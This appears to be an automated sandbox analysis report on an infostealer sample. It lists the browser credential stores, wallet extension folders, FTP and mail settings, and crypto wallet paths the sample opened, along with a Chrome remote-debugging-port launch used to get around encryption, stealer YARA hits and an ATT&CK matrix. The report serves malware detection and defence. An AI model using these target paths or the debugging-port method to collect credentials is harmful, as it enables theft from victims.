Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA

Source: Yara match	File source: 0000001F.00000002.3301305599.000000000174C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3167971746.0000000000A13000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 684030933f.exe PID: 6292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 684030933f.exe PID: 2452, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: ddf08f7f32.exe PID: 4308, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 684030933f.exe PID: 6292, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 684030933f.exe PID: 2452, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 0000001D.00000002.3156216990.0000000000C31000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000003.3254467296.0000000004F60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3106886868.0000000005600000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2020653471.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.3294805901.0000000000C31000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2569760709.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3160151748.000000000179E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.3302082119.000000000138B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2571085953.000000000112E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 27ee25f0d2.exe PID: 8688, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 27ee25f0d2.exe PID: 8224, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3440, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B0C40 sqlite3_bind_zeroblob,	0_2_6C6B0C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B0D60 sqlite3_bind_parameter_name,	0_2_6C6B0D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D8EA0 sqlite3_clear_bindings,	0_2_6C5D8EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C6B0B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D6410 bind,WSAGetLastError,	0_2_6C5D6410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DC050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C5DC050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D6070 PR_Listen,	0_2_6C5D6070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DC030 sqlite3_bind_parameter_count,	0_2_6C5DC030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D60B0 listen,WSAGetLastError,	0_2_6C5D60B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5622D0 sqlite3_bind_blob,	0_2_6C5622D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D63C0 PR_Bind,	0_2_6C5D63C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	111 Registry Run Keys / Startup Folder	212 Process Injection	3 Obfuscated Files or Information	Security Account Manager	13 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	249 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	111 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	881 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	341 Virtualization/Sandbox Evasion	Proc Filesystem	341 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	212 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
